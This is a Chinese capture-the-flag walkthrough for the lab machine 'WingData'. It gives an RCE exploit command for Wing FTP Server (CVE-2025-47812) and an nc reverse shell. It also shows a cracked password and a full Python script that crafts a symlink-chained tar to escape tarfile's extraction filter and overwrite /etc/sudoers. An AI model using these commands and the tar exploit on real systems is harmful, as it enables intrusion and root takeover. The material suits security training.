WingData
信息收集


得到一个ftp.wingdata.htb,也将这个加上

Wing FTP Server v7.4.3
通过搜寻cve是 CVE-2025-47812
漏洞利用(CVE-2025-47812)
4m3rr0r/CVE-2025-47812-poc: Wing FTP Server Remote Code Execution (RCE) Exploit (CVE-2025-47812)
kotlin
python CVE-2025-47812.py -u http://ftp.wingdata.htb -c "whoami" -v

然后反弹shell
kotlin
python CVE-2025-47812.py -u http://ftp.wingdata.htb -c "nc 10.10.16.5 8888 -e /bin/sh" -v
python3 -c 'import pty;pty.spawn("/bin/bash")'

然后在/opt/wftpserver/Data/1/users下的wacky.xml获得用户加密凭据

32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP
爆破hash(WingFTP 使用SHA256算法,并使用盐值"WingFTP"为加密方式)
kotlin
hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt

得到密码!#7Blushing^*Bride5
wacky/c
然后ssh连接

得到user.txt
权限提升
先sudo -l看一下

可以看到有一个py脚本
我们去看一下
cat /opt/backup_clients/restore_backup_clients.py
python
#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse
BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"
def validate_backup_name(filename):
if not re.fullmatch(r"^backup_\d+\.tar$", filename):
return False
client_id = filename.split('_')[1].rstrip('.tar')
return client_id.isdigit() and client_id != "0"
def validate_restore_tag(tag):
return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))
def main():
parser = argparse.ArgumentParser(
description="Restore client configuration from a validated backup tarball.",
epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
)
parser.add_argument(
"-b", "--backup",
required=True,
help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
"where <client_id> is a positive integer, e.g., backup_1001.tar)"
)
parser.add_argument(
"-r", "--restore-dir",
required=True,
help="Staging directory name for the restore operation. "
"Must follow the format: restore_<client_user> (e.g., restore_john). "
"Only alphanumeric characters and underscores are allowed in the <client_user> part (1--24 characters)."
)
args = parser.parse_args()
if not validate_backup_name(args.backup):
print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
sys.exit(1)
backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
if not os.path.isfile(backup_path):
print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
sys.exit(1)
if not args.restore_dir.startswith("restore_"):
print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
sys.exit(1)
tag = args.restore_dir[8:]
if not tag:
print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
sys.exit(1)
if not validate_restore_tag(tag):
print("[!] Restore tag must be 1--24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
sys.exit(1)
staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
print(f"[+] Backup: {args.backup}")
print(f"[+] Staging directory: {staging_dir}")
os.makedirs(staging_dir, exist_ok=True)
try:
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
print(f"[+] Extraction completed in {staging_dir}")
except (tarfile.TarError, OSError, Exception) as e:
print(f"[!] Error during extraction: {e}", file=sys.stderr)
sys.exit(2)
if __name__ == "__main__":
main()
我们利用这个脚本生成tar文件
python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
生成恶意tar文件的漏洞利用脚本
作用:构造包含多层目录、符号链接的tar文件,尝试突破路径限制写入/etc/sudoers
"""
import tarfile
import os
import io
import sys
def create_malicious_tar(output_path="/tmp/backup_9999.tar"):
"""
创建恶意tar文件,包含路径遍历和符号链接的构造
Args:
output_path: 生成的tar文件保存路径,默认/tmp/backup_9999.tar
"""
# 构造长目录名(247个d),用于突破路径长度限制
long_dir_name = 'd' * 247
# 用于构造多层目录的字符序列
step_chars = "abcdefghijklmnop"
current_path = ""
try:
# 以写模式打开tar文件
with tarfile.open(output_path, mode="w") as tar:
# 循环构造多层目录和符号链接
for char in step_chars:
# 1. 创建长目录名的目录项
dir_info = tarfile.TarInfo(os.path.join(current_path, long_dir_name))
dir_info.type = tarfile.DIRTYPE # 标记为目录类型
tar.addfile(dir_info)
# 2. 创建指向该长目录的符号链接
symlink_info = tarfile.TarInfo(os.path.join(current_path, char))
symlink_info.type = tarfile.SYMTYPE # 标记为符号链接类型
symlink_info.linkname = long_dir_name # 链接指向长目录
tar.addfile(symlink_info)
# 更新当前路径,进入下一层
current_path = os.path.join(current_path, long_dir_name)
# 3. 构造多层符号链接路径,用于路径遍历
link_path = os.path.join("/".join(step_chars), "l"*254)
link_info = tarfile.TarInfo(link_path)
link_info.type = tarfile.SYMTYPE
link_info.linkname = "../" * len(step_chars) # 构造回退路径
tar.addfile(link_info)
# 4. 创建指向/etc目录的符号链接(escape)
escape_info = tarfile.TarInfo("escape")
escape_info.type = tarfile.SYMTYPE
escape_info.linkname = f"{link_path}/../../../../../../../etc"
tar.addfile(escape_info)
# 5. 创建指向/etc/sudoers的硬链接(sudoers_link)
sudoers_link_info = tarfile.TarInfo("sudoers_link")
sudoers_link_info.type = tarfile.LNKTYPE
sudoers_link_info.linkname = "escape/sudoers"
tar.addfile(sudoers_link_info)
# 6. 写入恶意内容到sudoers_link(覆盖/etc/sudoers)
malicious_content = b"wacky ALL=(ALL) NOPASSWD: ALL\n"
file_info = tarfile.TarInfo("sudoers_link")
file_info.type = tarfile.REGTYPE # 标记为普通文件类型
file_info.size = len(malicious_content) # 指定文件大小
# 将内容写入tar文件
tar.addfile(file_info, fileobj=io.BytesIO(malicious_content))
print(f"[+] 恶意tar文件已生成:{output_path}")
except Exception as e:
print(f"[!] 生成tar文件失败:{str(e)}", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
# 支持自定义输出路径(可选参数)
if len(sys.argv) > 1:
output_tar = sys.argv[1]
else:
output_tar = "/tmp/backup_9999.tar"
create_malicious_tar(output_tar)

复制这个恶意的tar文件到sudo权限的目录下
kotlin
cp backup_9999.tar /opt/backup_clients/backups/
然后运行这个sudo脚本
kotlin
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_9999.tar -r restore_evil

这时候再去sudo
